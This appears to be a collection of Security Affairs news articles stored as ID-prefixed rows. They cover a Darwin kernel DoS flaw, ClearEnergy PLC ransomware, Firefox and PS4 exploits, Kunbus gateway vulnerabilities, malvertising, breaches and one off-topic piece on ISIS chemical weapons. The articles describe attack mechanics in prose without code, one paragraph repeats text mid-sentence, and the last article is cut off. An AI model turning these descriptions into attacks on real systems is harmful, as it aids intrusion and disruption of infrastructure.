2170_35910 | At the end of 2014, security experts at Kaspersky Lab discovered a serious vulnerability in the Darwin kernel. The name “Darvin kernel” is unknown to the majority of the user, but represents an important component for their machines considering that it is an open source component of Apple OS X and iOS., Every Apple users with OS X 10.10 and iOS 8 is exposed at risk. The Darwin kernel flaw could be exploited to run a DoS (denial of service) attack on vulnerable devices by sending just one incorrect network packet., “This vulnerability is connected with the processing of an IP packet that has a specific size and invalid IP options. As a result, remote attackers can cause DoS (denial of service) of a device with OS X 10.10 or iOS 8 installed.” is reported by the experts at Kaspersky in a blog post., The experts explained that there is a flaw in the process of the Darwin kernel that examines IP packet having a specific size and invalid IP options., Further investigations allowed the researcher to discover that the following devices with 64-bit processors and iOS 8 installed are affected by the Darwin kernel flaw:, In presence of the specifically crafted packed the system tries to handle it and generate a new ICMP packet that could not be contained in the new buffer size allocate by the kernel causing the system shut down in emergency mode., “This happens because the internal kernel structures have been changed and the new buffer size is insufficient to store a newly-generated ICMP packet. To cause this, the IP packet must satisfy the following criteria:, Below an example of packet that can exploit the flaw in the Darwin kernel component:, , How to protect your systems?, Simply update the OS of your devices to the last versions OS X 10.10.3 and iOS 8.3., Pierluigi Paganini, (Security Affairs – Darwin kernel, hacking) |
5059_57731 | Researchers at CRITIFENCE® Critical Infrastructure and SCADA/ICS Cyber Threats Research Group have demonstrated this week a new proof of concept ransomware attack aiming to erase (clear) the ladder logic diagram in Programmable Logic Controllers (PLCs). The ransomware a.k.a ClearEnergy affects a massive range of PLC models of world’s largest manufacturers of SCADA and Industrial Control Systems. This includes Schneider Electric Unity series PLCs and Unity OS from version 2.6 and later, other PLC models of leading vendors include GE and Allen-Bradley (MicroLogix family) which are also found to be vulnerable to the ransomware attack.ransomware attack.ransomware a.k.a ClearEnergy affects a massive range of PLC models of world’s largest manufacturers of SCADA and Industrial Control Systems. This includes Schneider Electric Unity series PLCs and Unity OS from version 2.6 and later, other PLC models of leading vendors include GE and Allen-Bradley (MicroLogix family) which are also found to be vulnerable to the ransomware attack., Ransomware is a type of malware that infects computers and encrypts their content with strong encryption algorithms, and then demands a ransom to decrypt that data. “ClearEnergy attack is based on the most comprehensive and dangerous vulnerability that ever found in Critical Infrastructure, SCADA and ICS Systems, and affects a wide range of vulnerable products from different manufacturers and vendors. These attacks target the most important assets and critical infrastructure and not just because they are easy to attack but also hard to be recovered”. Says Brig. Gen. (ret.) Rami Ben Efraim, CEO at CRITIFENCE., In 2016 we have seen a rise in ransomware, where the victims were businesses or public organizations that on one hand had poor security and on the other hand the alternative cost of losing business continuity was high. Last year there were reports of a targeted ransomware for PC and other workstation within critical infrastructure, SCADA and industrial control systems. A month ago, scientists from the School of Electrical and Computer Engineering in Georgia Institute of Technology have simulated a proof-of-concept ransomware attack (LogicLocker) in a limited scope designed to attack critical infrastructure, SCADA and industrial control systems., ClearEnergy acts similarly to other malicious ransomware programs that infect computers and encrypts their content with strong encryption algorithms, and then demands a ransom to decrypt that data back to its original form, with one major difference. ClearEnergy is a malicious ransomware attack designed to target Critical Infrastructure and SCADA systems such nuclear and power plant facilities, water and waste facilities, transportation infrastructure and more., “Although the codename ClearEnergy, the vulnerabilities behind ClearEnergy ransomware takes us to our worst nightmares where cyber-attacks meets critical infrastructure. Attackers can now take down our electricity, our water supply and our oil and gas infrastructure by compromising power plants, water dams and nuclear plants. Critical Infrastructure are the place in which terrorists, activists, criminals and state actors can make the biggest effect. They have the motivation, and ClearEnergy shows that they have also the opportunity.” Says Brig. Gen. (ret.) Rami Ben Efraim, CEO at CRITIFENCE., Once ClearEnergy is executed on the victim machine it will search for vulnerable PLCs in order to grab the ladder logic diagram from the PLC and will try to upload it to a remote server. Finally ClearEnergy will start a timer that will trigger a process to wipe the logic diagram from all PLCs after one hour unless the victim will pay in order to cancel the timer and to stop the attack., SCADA and Industrial Control Systems has been found to be weak in the recent years, against numerous types of attacks that result in damages in a form of loss of service which translate to a power outage, or sabotage. The damage that ClearEnergy attack can cause to the critical infrastructure is high since it can cause a power failure and other damages to field equipment, thus making the recovery process slow in most cases, and might even bring a plant to a halt., ClearEnergy, which is based on vulnerabilities CVE-2017-6032 (SVE-82003203) and CVE-2017-6034 (SVE-82003204) that have been discovered by CRITIFENCE security researchers, disclosed profound security flaws in the UMAS protocol of the vendor Schneider Electric. UMAS protocol seems to suffer from critical vulnerabilities in the form of bad design of the protocol session key, which results in authentication bypass. “UMAS is a Kernel level protocol and an administrative control layer used in Unity series PLC and Unity OS from 2.6. It relies on the Modicon Modbus protocol, a common protocol in Critical Infrastructure, SCADA and industrial control systems and used to access both unallocated and allocated Memory from PLC to SCADA system. What worries our researchers is that it may not be entirely patched within the coming years, since it affecta a wide range of hardware and vendors.” Says Mr. Eran Goldstein, CTO and Founder of CRITIFENCE., Following to the disclosure, Schneider Electric has confirmed that the Modicon family of PLCs products are vulnerable to the findings presented by CRITIFENCE and released an Important Cybersecurity Notification (SEVD-2017-065-01). ICS-CERT, Department of Homeland Security (DHS) released an important advisory earlier this morning. The basic flaws, which was confirmed by Schneider Electric, allows an attacker to guess a weak (1-byte length) session key easily (256 possibilities) or even to sniff it. Using the session key, the attacker is able to get a full control of the controller, to read controller’s program and rewriting it back with the malicious code., “The recovery process from this type of cyber-attacks can be very hard and slow in most cases due to lack of management resources in the field of SCADA and process automation. Slow recovery process multiplied by the number of devices need be fixed, as well configuration restoration makes the recovery processes very painful”. Says Mr. Alexey Baltacov, Critical Infrastructure Architect at CRITIFENCE, , “Recovering from such an attack would be a slow and tedious process, and prone to many failures. Every plant using PLC’s which is part of a production line and would have dozens of these devices all around the plant. Let’s assume that each PLC is indeed backed-up to its recent configuration. It would take a painstakingly long time to recover each and every one of them to its original status.” Says Mr. Eyal Benderski, Head of the Critical Infrastructure and SCADA/ICS Cyber Threats Research Group at CRITIFENCE. “This restoration process would take a long time, on which the plant would be completely shut down. The costs of that shut down could be substantial, and for critical processes it could affect for more than the down-time, as it is the case with energy plants. Consider a process which relies on keeping a constant temperature for a biological agent or chemical process. Breaking the process chain could require re-initialization that may be days and weeks long. Furthermore, since dealing with the OT network is much more complicated for operational reasons, on many occasions plants don’t even have up-to-date backups, which would require complete reconfiguration of the manufacturing process. Given these complications, plants would very much prefer paying the ransom than dealing with the minor chance that the backups will work as expected. Lastly, let’s assume the backups went on-air as soon as possible, what would prevent the same attack from recurring, even after paying?”, About the author:, , CRITIFENCE is a leading Critical Infrastructure, SCADA and Industrial Control Systems cyber security firm. The company developed and provides SCADAGate+ unique passive cyber security technology and solutions designed for Critical Infrastructure, SCADA and Industrial Control Systems visibility and vulnerability assessment, which allow to monitor, control and to analyze OT network cyber security events and vulnerabilities easily and entirely passively. CRITIFENCE development team and Critical Infrastructure and SCADA/ICS Cyber Threats Research Group combined from top experienced SCADA and cyber security experts and researchers of the IDF’s Technology & Intelligence Unit 8200 (Israel’s NSA) and the Israeli Air Force (IAF)., For more information about CRITIFENCE refer to: , Pierluigi Paganini, (Security Affairs – SCADA, hacking) |
4655_54672 | It’s holiday time and hackers can transform this period in a nightmare for gamers. Two years ago Lizard Squad hackers took down the networks of Sony PSN and Microsoft XBox Live., Now the notorious Phantom Squad group has claimed responsibility for conducting a series of massive DDoS attacks against the online gaming platform Steam and Origin servers., According to HackRead, Phantom Squad and one of the members of the PoodleCorp hacker crew, @cripthepoodle, are targeting Steam and Origin accounts., One year ago, Phantom Squad launched several cyber attacks against Electronic Arts and Steam. PoodleCorp hacker group became famous due to a long string of attacks against gaming communities, including Blizzard, EA, GTA, PlayStation, PokemonGo, and League of Legends., At the time I was writing, both companies haven’t confirmed the attacks against their systems. Some users are reporting problems to both via Twitter., , Below one of the numerous tweets from affected users:, @steam_games Nice Sale, I love it! #SteamSale pic.twitter.com/RshEFsBBDk, — René | 3 Days ^-^ (@DafuqRene) 22 dicembre 2016, , The Down Detector service that provides information about the status of services confirmed that both EA and Steam platforms were down at the time I was writing., The hackers started the DDoS attack on Steam servers causing serious problems to the gaming servers across the world. Steam operates about 17 regional servers, all its activities including the Steam community and the Steam Store are down, this means that users are not able to buy Steam games for Christmas., , Stay Tuned …, Update, Steam services are back up now, Pierluigi Paganini, (Security Affairs – Phantom Squad, hacking) |
7205_76499 | The security researcher Sabri Haddouche from Wire discovered a bug that affects Firefox on Mac, Linux, and Windows that could crash the browser and in some cases the underlying PC., Haddouche was focusing its analysis on vulnerabilities that affect major browsers (Chrome, Safari (WebKit), and Firefox), he published his findings on the Browser Reaper web site., (and yes, it includes a crash / freeze for Firefox and its source code as promised) pic.twitter.com/Q6UlBWIXe6, — Sabri (@pwnsdx) September 23, 2018, , The expert published on the website the PoC code to crash Firefox on Macs and Linux systems, causing the browser displaying the Crash Reporter message., The expert published the proof-of-concept code on GitHub., The issue could have more severe effects on Windows because in some circumstance it caused the freezing of the operating system., Researchers at ZDNet conducted some tests to verify which systems are affected by the bug., “During our experiments, the DoS bug worked against the latest Firefox stable release, but also Firefox Developer and Nightly editions.” states ZDNet. , “The bug did not crash Firefox for Android instances, according to ZDNet’s tests. Firefox uses the WebKit engine on iOS, instead of its new Quantum engine, so iPhone and iPad users aren’t affected.”, , , “What happens is that the script generates a file (a blob) that contains an extremely long filename and prompts the user to download it every one millisecond,” Haddouche explained to ZDNet in an interview., “It, therefore, floods the IPC (Inter-Process Communication) channel between Firefox’s child and main process, making the browser at the very least freeze,” the researcher added., The researcher reported the bug to Mozilla on September 23., Haddouche discovered a few days ago a new CSS/HTML attack method that saturates Apple devices’ resources causing iPhone reboot or freezes Macs., Pierluigi Paganini, (Security Affairs – Firefox bug, DoS) |
4413_52672 | According to the Iraqi army, approximately 50 villages have been taken from the ISIS since last Monday, as the army prepares for the onslaught on Mosul, where 5,000 to 6,000 ISIS fighters are believed to remain.
The international coalition battling to eradicate ISIS in Mosul is a disparate assembly, lacking true cohesion as each has its own reasons for fighting in this offensive., “It’s a very, very dangerous cocktail,” Marina Ottaway, a Middle East expert at the Woodrow Wilson International Center for Scholars, said. “This is a group with completely different end-goals. There is a real fear that when they get rid of ISIS from Mosul then things are really going to blow up.”, The Key Players and Their Motivations:, In the midst of gearing up for battle, a chemical weapons cache was uncovered. Photographs taken in mid-October of the weapons, in addition to chemical readings from the stockpiled weapons, were obtained by the ground team of Ed Alexander of BLACKOPS Cyber, an intelligence agency which specializes in counterterrorism, advanced cyber capabilities and Darknet operations.
, Iraqi troops had captured the cache of chemical weapons, which were previously held by ISIS in Qayarah, Iraq, a city east of ISIS territory in Mosul. This location is not far from where ISIS fired artillery shells filled with mustard gas at U.S. troops last month. One of three tests on the weapons showed a positive reading of a mustard agent, according to Military.Com., The discovery of the weapons cache validates growing concerns that ISIS is planning to use chemical weapons against U.S. and Iraqi forces during the Mosul battle., Iraqi forces requested that coalition forces assist with the recovery and containment of the weapons, including the 36 rockets found at the site, Alexander said., According to an article by Joshua Phillip, at Epoch Times:, “According to Drew Berquist, a former intelligence contractor who recently returned from deployment in Iraq, ISIS has two factories for making homemade rockets—one in Raqqa, Syria, and another in Mosul—and said ‘that’s what these look like.’, He said the picture of the rockets are telling, ‘because they do that all over the region,’ and that it’s likely ISIS has stepped up its production for the coming fight for Mosul because ‘they view this as an apocalyptic battle.’”, Berquist also cautioned that the rockets can be fitted with different types of weapons, including chemical and explosive weapons. He said that ISIS has definitely used chemical weapons. “They’ve got them, and they’ll try to use them in the days and weeks ahead in Mosul.”, Moreover, Dr. Robert J. Bunker, adjunct faculty at Claremont Graduate University, who has studied chemical warfare, indicated that the images do show positive readings of chemical weapons., ISIS has already massacred 284 villagers, including children, who were being used as human shields. The terrorist group has also taken 550 families hostage for continued use as human shields in Mosul, according to the UN. But, they too are at risk of being killed.
, Local families have been waving the white flag as ISIS rounds up villagers in an attempt to hold off the approaching coalition forces in the battle for Mosul. Unfortunately, the waving of the white flags has been in vain., Written by: CandiceLanier, Author Bio:, Pierluigi Paganini, (Security Affairs – ISIS, Mosul) |
1085_23254 | The Tor Browser is the most popular tool for anonymization of the user’s Internet experience, it’s use is literally exploded after the disclosure of numerous documents leaked by Snowden of US surveillance programs. A growing number of internet users have started to use the popular browser to anonymize browsing sessions and preserve the user’s privacy, avoiding surveillance of Governments., As usual cybercrime is very responsive to users’ habits and the events that happen to try to take advantage of them, as occurred in the case of the MtGox in which data leaked by the popular exchange was invented by hackers to infect a large audience with a Bitcoin stealer malware., In the last couple of months a fake Tor Browser app has been published on the App Store, representatives from Tor Project who have noted the fake app has requested Apple to remove it without success., The Tor browser app price is $0.99 and contains adware and spying functionality, it is not developed by Tor Project developers and its author is using Tor’s name to deceive Apple users and convince them to download it., “Tor Browser in the Apple App Store is fake. It’s full of adware and spyware. Two users have called to complain. We should have it removed.” is the message posted in a ticket posted on the Tor Project (#10549 new task)., , The fake Tor browser app was first reported to Apple in December, the company replied that is was investigating and its intent was to give the developer “a chance to defend their app.”, , , It’s important that all Internet users will stress Apple to remove the Tor Browser app from the store, it is dangerous and could harm user’s privacy despite it’s not clear if the app could preserve the user’s browsing., At the time I‘m writing the Tor Browser app is still present in the App Store., Pierluigi Paganini, (Security Affairs – mobile, Tor browser app) |
5708_63109 | More details are emerging from the recent Equifax data breach that impacted approximately 143 million U.S. consumers. The attackers exploited the CVE-2017-5638 Apache Struts vulnerability that was fixed back in March, but the company did not update its systems, a thesis that was also reported by an Apache spokeswoman to the Reuters agency., Now the UK division of the credit reference agency has revealed that 400,000 UK people were affected due to a “process failure,” but the systems of the company in the UK were not affected., The platforms used by Equifax Ltd and TDX Group are “entirely separated from those impacted by the Equifax Inc cybersecurity incident.”, , Unfortunately, the investigation revealed that there was unauthorised access to limited personal information for certain UK consumers, but hackers did not access financial data or credentials., “Regrettably, the investigation shows that a file containing UK consumer information may potentially have been accessed. This was due to a process failure, corrected in 2016, which led to a limited amount of UK data being stored in the US between 2011 and 2016.The information was restricted to: Name, date of birth, email address and a telephone number, and Equifax can confirm that the data does not include any residential address information, password information or financial data.” reads the Equifax UK., “Having concluded the initial assessment, Equifax has established that it is likely to need to contact fewer than 400,000 UK consumers in order to offer them appropriate advice and a range of services to help safeguard and reassure them.”, According to the company, the UK consumer data that may have been stolen does not include “any single Equifax business clients or institution.”, The Information Commissioner’s Office (ICO) ordered Equifax to alert British customers following the incident., “Reports of a significant data loss at US-based Equifax and the potential impact on some UK citizens gives us cause for concern. We are already in direct contact with Equifax to establish the facts including how many people in the UK have been affected and what kind of personal data may have been compromised,” ICO deputy commissioner James Dipple-Johnstone said., “We will be advising Equifax to alert affected UK customers at the earliest opportunity. In cyber-attack cases that cross borders the ICO is committed to working with relevant overseas authorities on behalf of UK citizens.”, Equifax will notify the affected UK customers offering them an identity protection service for free., The service will monitor any suspicious activity about possible misuses of victim’s data, including monitoring of web and social media information., “We apologise for this failure to protect UK consumer data. Our immediate focus is to support those affected by this incident and to ensure we make all of the necessary improvements and investments to strengthen our security and processes going forward.” said Patricio Remon, Europe president at Equifax Ltd., The company is still investigating the incident., Pierluigi Paganini, (Security Affairs – Equifax data breach, cybercrime) |
176_4351 | Another Saturday, another round, as announced today the group Anonymous has targeted government sites to protest against British government policy. Nothing new over last week, same goals, same mode of attack, the same result. On internet bounced messages of joy for having staged the second act of the operation called by the group #OpTrialAtHome., , , , Let’s start making some reflections on the real utility of these operations once the message was passed last week. The operation has certainly achieved its goal in terms of media, on internet the news of the attacks is published everywhere, but in terms of offense they have little effect. The sites attacked were sites of representation and not operating web site in respect of services provided., To make further unnecessary these attacks is the choice of days and hours of action, on a Saturday evening When nobody in the Government department concerned that their website is unavailable. Deliberate choice to minimize the impact of the offense or strategy for beginners? Or another plausible hypothesis is that these operations, that are carried out without causing real side effects, are organized by members infiltrated the group in order to bring out the actors of the protest in a context of reduced damage., How long the group Anonymous will go on with this strategy, unable to cause serious damage to target infrastructures?, These attacks should lead us to some reflections, I think the group is a time of transition, despite having reached a critical mass of supporters began to split into numerous cells scattered throughout the world. For now, these cells appear to be driven by common goals, but what will happen tomorrow? In a heterogeneous scenario the risk that external agents can infiltrate the group influencing policy is concrete. New operations can be organized in the name of the group with unpredictable consequences, foreign states or law enforcement may involve masses of people and convinced unaware hacktivist to conduct ideological battles. What guarantees the group can provide to its supporters? Will the group be able to capillary check any communication made globally with its brand? Of course not!, I think for this reason that the group should change its strategy, is obliged to appear in new forms, probably in the future presented itself to the world with their representatives. The time of hiding, in the form of protest could begin to decline. The group is aware that its attacks may begin to serve to a third cause, not only its own., A few hours before the announced attack time, the default GCHQ (UK Government Communications Headquarters) web page started to be re-directed down a level to:, At about 18:40 GMT British Telecom , on whose servers this public website appears to be running, put a temporary 302 redirect to e.g., instead of the previous IP address of which was advertised in the following recruiting messages of the group, , , At the beginning of article I had assumed that these operations could be the result of infiltration of the group, event that I believe possible in relation due the escalation promise by Anonymous against the major global companies. The Anonymous hacking collective has promised to bring down the website of Intel in protest at an anti-piracy bill that would permit the US government to strengthen security networks in the name of national security., During last week the collective has started the information campaign on internet promoting the DDoS attacks to propose in a first phase of the Operation called Defense. The Operation will be conduced against all those companies that support US policy involved in the support of the Cyber Intelligence Sharing and Protection Act., One of illustrious victims of the phase I is the Boeing, and the group has announced that the phase II will start in a couple of weeks. The element of innovation is that the protest this time will pass from internet also to the streets. A video published on YouTube says:, “Attacks will not be limited to Distributed Denial of Service attacks,” “Phase II will commence on May 1 and will include coordinated physical protests outside locations belonging to the corporations.”, 30 private companies have supported Cispa (Cyber Intelligence Sharing and Protection Act), The bill would give the U.S. government additional options and resources to ensure the security of networks against attacks and enforce copyright and patents, this means that we will assist to a strict collaboration between businesses and government sharing cyber-security information. Of course the line between monitoring and censorship is thin and many experts claim that the legislation contains also restraints on how and when the government may monitor private information, operating any kind of control he desires, even the shut down of source., The list of companies and associations include top names like Intel, Boeing, Facebook, Microsoft, IBM, Edison Electric, Verizon Wireless, Symantec, AT&T and Comptel and the National Cable & Telecommunications Association. In order to prevent the theft of government sensible information and intellectual property the CISPA give to the institutions the ability to block suspected web sites, to monitor web traffic and this is consider a war act against privacy., Groups like anonymous are obviously contrary to a law so intrusive and are angered by the support offered to the government from private industry, so the collective has already attacked company like Boeing and US Telecom with Distributed Denial of Service (DDoS) assault by the collective. The real problem is that this type of attacks is being unuseful, the risk of addiction is high, Anonymous knows it., I believe that we must distinguish two phases of Anonymous phenomenon, the first one that I define “Here I am, know me and learn to live with my judgment” is the one we are leaving, in this phase the group He introduced himself to the world, showing their offensive capabilities but also a broad support enjoyed by. The second phase, named “Openness”, is the one we will live in the next months, in this phase the group will tries to try to talk with institutions, will operate on internet but also in the street. The stage is very delicate because of the heterogeneous nature of the group, many hactivists will not accept the openness to institutions becoming active in a loose, loose cannons in the web that could stage striking and unethical attacks., This is the worst scenario, the web may soon reign in the chaos and regulations such as the one under discussion certainly would not be able to govern., Pierluigi Paganini |
5620_62284 | According to experts at FireEye, crooks are exploiting the Neptune exploit kit (aka Terror EK, Eris, and Blaze) to delivery cryptocurrency miners via malvertising campaigns. The Neptune exploit kit was first spotted in January and was initially classified as a variant of the Sundown exploit kit due to the several similarities in its code., “The Neptune Exploit Kit (or Terror EK), which initially started as a Sundown EK copycat operation, has relied heavily on malvertisements. Early use of this exploit kit saw domains with very similar patterns dropping cryptocurrency miners through malvertisement” reads the analysis published by FireEye., We already reported a significant drop in the exploit kit activity since the disappearance of the Angler EK and Neutrino EK, then the principal exploit kits became the Sundown EK., Crooks are continuing to use the Neptune exploit kit in malvertising campaigns, the last trend is its employment in campaigns aiming to deliver cryptocurrency miners., The FireEye analysis highlights the numerous changes in the recent attacks delivering the cryptocurrency miners, including payloads, URI patterns, and landing pages., Since July 16, FireEye experts have observed changes in URI patterns for Neptune Exploit Kit, the last campaign monitored was abusing a legitimate popup ad service (within Alexa’s top 100) with redirects to ads about hiking clubs., The countries most affected by the campaign are South Korea (29%), Europe (19%), and Thailand (13%), followed by Middle East (13%) and the United States (10%)., , The ads used in the Neptune exploit kit campaign analyzed by FireEye were mostly served on popular torrent and hosting websites., The landing pages were hosting the following exploits to trigger well-known vulnerabilities:, The payload delivered in the last Neptune Exploit Kit campaign is a Monero cryptocurrency Miner., “Despite an observable decline in exploit kit activity, users are still at risk, especially if they have outdated or unpatched software. This threat is especially dangerous considering drive-by exploit kits (such as Neptune EK) can use malvertisements to seamlessly download payloads without ever alerting of the user.” concluded FireEye.”FireEye NX detects exploit kit infection attempts before the malware payload is downloaded to the user’s machine. Additionally, malware payloads dropped by exploit kits are detected in all other FireEye products.”, FireEye also included in the analysis the IoCs., Pierluigi Paganini, (Security Affairs – Neptune Exploit Kit, hacking) |
6517_70956 | Facebook is under the fire after the revelation of the Cambridge Analytica case and its role in the alleged interference to the 2016 US presidential election., While the analysts are questioning about the interference with other events, including the Brexit vote, Facebook is now looking to prevent such kind of operations against any kind of election., Guy Rosen, Facebook VP of Product Management declared that everyone is responsible for preventing the same kind of attack to the democracy and announced the significant effort Facebook will spend to do it., “By now, everyone knows the story: during the 2016 US election, foreign actors tried to undermine the integrity of the electoral process. Their attack included taking advantage of open online platforms — such as Facebook — to divide Americans, and to spread fear, uncertainty and doubt,” said Guy Rosen., “Today, we’re going to outline how we’re thinking about elections, and give you an update on a number of initiatives designed to protect and promote civic engagement on Facebook.”, Facebook plans to improve the security of elections in four main areas: combating foreign interference, removing fake accounts, increasing ads transparency, and reducing the spread of false news., Alex Stamos, Facebook’s Chief Security Officer, added that the company always fight “fake news,” explaining that the term is used to describe many malicious activities including:, “When you tease apart the overall digital misinformation problem, you find multiple types of bad content and many bad actors with different motivations.” said Alex Stamos., “Once we have an understanding of the various kinds of “fake” we need to deal with, we then need to distinguish between motivations for spreading misinformation. Because our ability to combat different actors is based upon preventing their ability to reach these goals.” said Stamos., “Each country we operate in and election we are working to support will have a different range of actors with techniques are customized for that specific audience. We are looking ahead, by studying each upcoming election and working with external experts to understand the actors involved and the specific risks in each country.”, Stamos highlighted the importance to profile the attackers, he distinguished profit-motivated organized group, ideologically motivated groups, state-sponsored actors, people that enjoy causing chaos and disruption, and groups having multiple motivations such as ideologically driven groups., Facebook is working to distinguish between motivations for spreading misinformation and implement the necessary countermeasures., , Currently, Facebook already spends a significant effort in combatting fake news and any interference with elections., Samidh Chakrabarti, Product Manager, Facebook, explained that the social media giant is currently blocking millions of fake accounts each day with a specific focus on those pages that are created to spread inauthentic civic content., Chakrabarti explained that pages and domains that are used to share fake news is increasing, in response, Facebook doubles the number of people working on safety issues from 10,000 to 20,000. This hard job is mainly possible due to the involvement of sophisticated machine learning systems., “Over the past year, we’ve gotten increasingly better at finding and disabling fake accounts. We’re now at the point that we block millions of fake accounts each day at the point of creation before they can do any harm.” said Chakrabarti., “Rather than wait for reports from our community, we now proactively look for potentially harmful types of election-related activity, such as Pages of foreign origin that are distributing inauthentic civic content. If we find any, we then send these suspicious accounts to be manually reviewed by our security team to see if they violate our Community Standards or our Terms of Service. And if they do, we can quickly remove them from Facebook. “, But we all know that Facebook is a business that needs to increase profits, for this reason ads are very important for it., Facebook is building a new transparency feature for the ads on the platform, dubbed View Ads, that is currently in testing in Canada. View Ads allows anyone to view all the ads that a Facebook Page is running on the platform., “you can click on any Facebook Page, and select About, and scroll to View Ads.” explained Rob Leathern, Product Management Director., “Next we’ll build on our ads review process and begin authorizing US advertisers placing political ads. This spring, in the run up to the US midterm elections, advertisers will have to verify and confirm who they are and where they are located in the US,”, This summer, Facebook will launch a public archive with all the ads that ran with a political label., Stay tuned …., Pierluigi Paganini, (Security Affairs – Facebook, fake news), , |
6125_67162 | Good news for PlayStation gamers, the developer SpecterDev finally released a fully-functional kernel exploit for PlayStation 4 (firmware 4.05) dubbed ‘namedobj’., PS4 gamers who are running firmware version lower than 4.05 need to update their gaming console to trigger the exploit., The Kernel exploit was released two months after Team Fail0verflow revealed the technical details about the first PS4 Kernel Exploit., The kernel exploit ‘namedobj’ is now available on Github, it works for the PlayStation 4 on 4.05FW and allows users to run arbitrary code on the device., “In this project you will find a full implementation of the “namedobj” kernel exploit for the PlayStation 4 on 4.05. It will allow you to run arbitrary code as kernel, to allow jailbreaking and kernel-level modifications to the system. This release however, does not contain any code related to defeating anti-piracy mechanisms or running homebrew. This exploit does include a loader that listens for payloads on port 9020 and will execute them upon receival.” reads the description published on GitHub., , The availability of the kernel exploit could allow developers to write a working jailbreak and kernel-level modifications to the system., Jailbreaking allows removing hardware restrictions implemented by the operating system, it allows users to run custom code on the console and install mods, games, and third-party applications bypassing the anti-piracy mechanisms implemented by Sony., “This release, however, does not contain any code related to defeating anti-piracy mechanisms or running homebrew,” SpecterDev said., “This exploit does include a loader that listens for payloads on port 9020 and will execute them upon receival.”, Reading the “Notes” we can notice that the developer warns that the exploit should not work for some users., “This exploit is actually incredibly stable at around 95% in my tests. WebKit very rarely crashes and the same is true with kernel. I’ve built in a patch so the kernel exploit will only run once on the system. You can still make additional patches via payloads,” SpecterDev warned., At this point, experts at Sony will work to identify the flaws triggered by the kernel exploit and fix them., Stay Tuned., Pierluigi Paganini, (Security Affairs – hacking, jailbreacking) |
7724_80801 | Nicolas Merle from industrial cybersecurity firm Applied Risk discovered several flaws in a gateway produced by the Germany-based firm Kunbus, some of them could allow an attacker to gain full control of the vulnerable devices. Kunbus gateway solutions are used by several organizations worldwide.Merle discovered five vulnerabilities in the Kunbus PR100088 Modbus gateways running version 1.0.10232 and likely earlier versions., Applied Risk has classified two vulnerabilities as “critical” and two as “high severity.”, “An unauthenticated user can change the admin password, use it to get full control of the device, change its configuration and then lock the administrator out. An authenticated user can send a malicious request to the ftp service, stopping the device until the next cold reboot. An attacker able to sniff the traffic would be able to get any password used for login.” reads the security advisory published by Applied Risk. , “An unauthenticated user can see and change the Modbus register value via the web interface and reboot the device with a simple command, creating a denial of service. Finally, an attacker could change the Administrator password to the default one, to trick the operator to input back its password that he could in return recover via the ftp service.”, The gateway is affected by an improper authentication issue (CVE-2019-6527) in the Modbus gateway web application that fails to check that the user is logged in when processing the change of password page. , The CVE-2019-6527 flaw could be exploited by attackers to take complete control of the gateway and lock legitimate admins out. , The exploitation is possible only when an admin user logged in previously on the vulnerable gateway and the device has not been restarted since. , Another flaw, tracked as CVE-2019-6533, can be exploited by an unauthenticated attacker to read and modify the registers used to store Modbus values from the web interface. The flaw could be exploited by an attacker to cause a denial-of-service (DoS) condition by rebooting the device., The researcher also found another DoS issue that could be exploited by sending a long request (more than 256 characters) to the FTP service., Another issue discovered by the researcher is related to the disclosure of the user password that is included in the HTTP GET request used in the authentication phase. The password is in clear text and an attacker in the MiTM position can obtain it., Kunbus addressed four of the flaws with the release of version 1.1.13166 (Security Update R02). The remaining flaw affects the FTP service that can be used to retrieve user credentials stored on the device in clear text in an XML file. This latter issue is expected to be fixed at the end of February with the Security Update R03., ICS-CERTand Kunbus also published security advisories describing the flaws., Pierluigi Paganini, (SecurityAffairs – Kunbus, hacking), , |
4388_52455 | On 19 July at 11pm Ankara time, Wikileaks published the first emails that were grabbed from the Turkish AKP. The organization led by Julian Assange, being in line with its policy on publication of secret information, also released the content of the attachments spreading the malware contained in the emails., , However, many aspects of these attacks are still unknown as ElevenPaths, Telefonica’s cyber security unit, states in the recent report where the malware samples and their malicious content have been analyzed., The Infection Vector, One of the requirements that any attacker needs to handle is to get access to a technological infrastructure that allows him to maintain control of the infected systems without being detected. In this case, after analyzing the source IP addresses of the compromised emails it has been found that the attackers leveraged vulnerable configurations on mail servers to maximize their chances of success. This way they could perform up to three different social engineering techniques with the aim of ensuring that each recipient opened the attached malicious files., Amongst the 2067 IP addresses which became the source of the malicious emails distributed worldwide included web servers, residential ADSLs and mail servers. The large number of IP addresses used for sending the emails, as well as the types variety and the fact that they are spread over a wide area, has served as a key element in ensuring the anonymity of the attackers., Types of Malware used in the political cyberattacks, Mainly, downloaders (programs or scripts involved in the first phase of infection, responsible for downloading the malicious file) have been found. These downloaders were focused on downloading ransomware and banking Trojans linked to massive campaigns performed by organized cybercrime syndicates for purely monetary purposes. However, the most important aspect of the research was the identification of the use of backdoor Trojans that are usually associated with information thefts and attacks that may include lateral movements or other techniques associated with Advanced Persistent Threats., After analyzing all the malicious attachments, several senior Turkish government officials have been identified as the target of these Trojans like Bekir Bozdağ (Ministry of Justice), Ömer Çelik (Minister of European Union Affairs), Nurettin Canikli (Deputy Prime Minister of Turkey) and Hüseyin Çelik (Minister of National Education)., Traditional Security Is Not Enough, Traditional security solutions are not enough to tackle samples which are very fresh and which could be related to targeted political cyberattacks, since they are unlikely to be found on black lists. However, defense technology against advanced malware can be the solution to threats that have a very high probability of being implemented in all kinds of entities, both corporate and governmental., In the words of Eugene H. Spafford, a well-known computer security expert, the only truly secure system is one that is powered off, cast in a block of concrete and sealed in a lead-lined room with armed guards. And even then Eugene has his doubts. This case is another illustrative reason of why it is always important to stay alerted in regard to our own defense systems., Pierluigi Paganini, (Security Affairs – Political Cyberattacks, malware) |
6768_73176 | Administrators of organizations using Google Groups and G Suite must review their configuration to avoid the leakage of internal information., Security researchers from Kenna Security have recently discovered that 31 percent of 9,600 organizations analyzed is leaking sensitive e-mail information., The list of affected entities also includes Fortune 500 companies, hospitals, universities and colleges, newspapers and television stations, and even US government agencies., “Organizations utilizing G Suite are provided access to the Google Groups product, a web forum directly integrated with an organization’s mailing lists. Administrators may configure a Google Groups interface when creating a mailing list.” reads the blog post published by Kenna Security., “Due to complexity in terminology and organization-wide vs group-specific permissions, it’s possible for list administrators to inadvertently expose email list contents. In practice, this affects a significant number of organizations”, The discovery is not new, back in 2017 experts discovered wrong configurations of G Suite that can lead to data leakage., Unfortunately, since the first advisory published by experts at RedLock, many installs continue to leak data. According to Kenna Security, the main reason is Google Groups uses a complex terminology and organisation-wide vs group-specific permissions., “Due to complexity in terminology and organization-wide vs group-specific permissions, it’s possible for list administrators to 